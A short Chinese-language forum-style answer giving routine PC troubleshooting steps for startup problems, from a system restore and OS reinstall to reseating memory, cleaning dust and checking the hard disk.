先軟后硬,出現這樣的問題是軟件沖突、驅動不合適、系統問題引起的,可以在安全模式還原一下系統,還是不行重新安裝操作系統,不要安裝軟件、補丁、驅動等,看看開機還有問題嗎?如果沒有在逐步的安裝驅動、補丁、軟件,找出不合適的東西就不要安裝了。
在有就是硬件引起的,扣出主板電池放一下電,插拔一下內存、顯卡清一下灰,在檢查硬盤是否有問題,不行就檢修一下去吧。